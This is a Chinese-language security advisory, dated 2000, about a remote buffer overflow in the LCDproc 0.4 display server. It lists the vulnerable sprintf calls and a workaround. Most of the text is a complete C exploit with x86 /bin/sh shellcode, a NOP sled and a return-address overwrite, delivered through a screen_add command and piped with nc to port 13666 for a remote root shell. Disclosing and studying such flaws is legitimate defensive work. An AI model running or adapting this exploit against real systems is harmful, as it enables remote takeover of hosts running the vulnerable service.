Linux LCDProc缓冲溢出漏洞发布时间:2000-04-23 更新时间:2000-04-23 严重程度:高 威胁程度:远程管理员权限 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 Linux详细描述 LCDproc用于在液晶显示器(或任何它所支持的显示设备)上显示系统信息或其他数据。 LCDproc 0.4版采用了客户机/服务器通信模式,期望在LCDproc设备上显示数据的客 户端可以连接LCDproc服务器并协商会话。这种系统通常用在嵌入式服务环境或者其 他一些需要高效快速显示系统信息但考虑到空间要求及其他限制而不能采用显示器等 设备的场合。此外,既然频繁地与LCD设备通信,通常该工具被安装成 setuid-to-root、setgid-to-uucp。在该系统提供了高度扩展显示数据办法的同时, 通信协议中的某些BUG带来严重的安全问题。该漏洞允许攻击者远程执行任意代码, 并导致 LCDproc 服务端崩溃。代码中多处地方存在不完善的边界条件检查,比如: parse.c:149: sprintf(errmsg, "huh? Invalid command \"%s\"\n", argv[0]); screenlist.c:119: sprintf(str, "ignore %s\n", old_s->id); screenlist.c:134: sprintf(str, "listen %s\n", s->id); 参看http://lcdproc.omnipotent.net。 测试代码 以下是该漏洞的测试代码: /***** * lcdproc-exploit.c ***** * * LCDproc 0.4-pre9 exploit # # Andrew Hobgood <chaos@strange.net> * Kha0S on #LinuxOS/EFnet * * Tested on Linux/x86 2.2.5-15smp (the only Intel box I could get my hands * on for testing). * ***** */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #define BUFFERSIZE 269 #define NOP 0x90 #define OFFSET 0xbffff750 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89" "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff" "\xff\xff/bin/sh"; int main(int argc, char **argv) { char *ptr, buffer[BUFFERSIZE]; unsigned long *long_ptr, offset = OFFSET; int aux; fprintf(stderr, "LCDproc exploit by Andrew Hobgood <chaos@strange.net>\n\n"); fprintf(stderr, "Usage: (%s [<offset>]; cat) | nc <target> 13666\n\n", argv[0]); if (argc == 2) offset += atol(argv[1]); ptr = buffer; memset(ptr, 0, sizeof(buffer)); memset(ptr, NOP, sizeof(buffer) - strlen(shellcode) - 16); ptr += sizeof(buffer) - strlen(shellcode) - 16; memcpy(ptr, shellcode, strlen(shellcode)); ptr += strlen(shellcode); long_ptr = (unsigned long *) ptr; for(aux=0; aux<4; aux++) *(long_ptr++) = offset; ptr = (char *) long_ptr; *ptr = '\0'; fprintf(stderr, "Buffer size: %d\n", (int) strlen(buffer)); fprintf(stderr, "Offset: 0x%lx\n\n", offset); printf("hello\n"); fflush(stdout); sleep(1); printf("screen_add {%s}\n", buffer); fflush(stdout); return(0); } /*** end lcdproc-exploit.c ***/ 解决方案 临时解决方案:使用前一版本的Lcdproc,这样不能以客户机-服务器模式运行,但也同时避免了问题的发生。 相关信息 |